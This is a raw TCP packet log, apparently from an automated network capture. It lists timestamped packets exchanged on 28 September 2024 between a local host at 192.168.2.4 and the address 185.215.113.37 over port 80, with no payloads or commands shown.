Sep 28, 2024 10:19:15.087627888 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.087635040 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.087668896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.087680101 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.087704897 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.087718964 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.087749958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.087757111 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.087789059 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.087821007 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.087837934 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.087855101 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.087862968 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.087893009 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.087902069 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.087920904 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.087939978 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.087954998 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.087955952 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.087989092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.088000059 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.088021040 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.088033915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.088066101 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.088073015 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.088107109 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.088118076 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.088150978 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.088156939 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.088191032 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.088200092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.088223934 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.088223934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.088258982 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.088268042 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.088291883 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.088310957 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.088335991 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.088346004 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.088366032 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.088377953 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.088399887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.088409901 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.088433981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.088447094 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.088468075 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.088478088 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.088502884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.088510990 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.088536024 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.088546038 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.088571072 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.088584900 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.088598967 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.088615894 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.088639021 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.213819027 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.213881969 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.213905096 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.213942051 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.213949919 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.213978052 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.213990927 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.214020967 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.214050055 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.214085102 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.214095116 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.214113951 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.214126110 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.214148045 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.214154005 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.214181900 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.214190960 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.214221954 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.214379072 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.214407921 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.214421988 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.214446068 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.214889050 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.214935064 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.214945078 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.214979887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.214989901 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.215019941 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.215117931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.215150118 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.215162992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.215184927 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.215190887 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.215219021 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.215223074 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.215261936 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.215331078 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.215363979 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.215374947 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.215409994 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.215432882 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.215475082 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.218473911 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.218509912 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.218544006 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.218559980 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.218581915 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.218595028 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.218617916 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.218624115 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.218662024 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.218671083 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.218709946 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.218724012 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.218764067 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.218764067 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.218806028 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.218813896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.218857050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.218867064 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.218899012 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.218907118 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.218933105 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.218935966 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.218966961 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.218972921 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219006062 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219019890 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219052076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219058037 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219090939 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219104052 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219153881 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219155073 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219188929 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219197035 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219218969 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219232082 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219254017 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219270945 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219306946 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219325066 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219357967 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219364882 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219408989 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219414949 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219458103 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219465971 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219501972 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219505072 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219536066 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219544888 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219572067 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219585896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219619989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219626904 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219650030 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219660044 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219686031 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219690084 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219727039 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219741106 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219774008 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219785929 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219810009 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219845057 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219851017 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219882965 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219897032 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219930887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219940901 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219964981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.219973087 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.219999075 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220005035 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220033884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220040083 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220074892 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220083952 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220119953 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220125914 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220156908 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220169067 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220204115 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220210075 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220237970 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220242977 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220273972 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220280886 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220308065 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220315933 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220343113 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220349073 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220379114 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220387936 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220415115 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220419884 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220454931 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220464945 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220500946 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220504999 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220534086 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220536947 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220571041 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220597029 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220598936 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220611095 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220632076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220637083 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220679998 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220685005 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220720053 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220724106 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220752954 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220758915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220782995 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220793009 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220820904 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220834970 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220868111 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220877886 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220901966 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220907927 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220940113 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.220953941 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220987082 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.220998049 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.221020937 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.221025944 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.221055031 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.221064091 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.221090078 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.221097946 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.221131086 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.346122026 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.346157074 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.346190929 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.346208096 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.346218109 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.346251011 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.346260071 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.346295118 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.346296072 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.346328974 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.346334934 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.346374035 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.346381903 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.346415043 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.346456051 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.346468925 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.346502066 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.346510887 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.346539974 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.347210884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.347264051 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.347269058 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.347297907 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.347305059 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.347341061 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.347414017 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.347445965 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.347462893 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.347481012 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.347486019 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.347511053 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.347553015 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.347562075 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.347594023 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.347626925 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.347636938 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.347656965 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.347666979 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.347690105 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.347698927 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.347724915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.347764015 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.347796917 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.347806931 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.347829103 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.347836971 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.347876072 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.350892067 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.350950003 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.350953102 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.350980043 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.350995064 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351018906 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351032972 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351066113 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351080894 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351104021 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351109028 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351145029 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351159096 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351195097 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351201057 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351224899 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351233959 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351264954 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351264954 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351306915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351320982 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351361990 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351373911 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351417065 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351443052 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351485014 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351496935 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351537943 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351547956 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351581097 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351588964 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351619959 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351630926 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351675034 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351681948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351718903 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351722956 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351752996 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351758957 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351785898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351794004 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351816893 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351828098 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351850986 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351855993 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351890087 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351906061 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351934910 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.351943016 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351972103 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.351985931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.352019072 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.352027893 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.352054119 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:15.352056980 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:15.352093935 CEST	49730	80	192.168.2.4	185.215.113.37
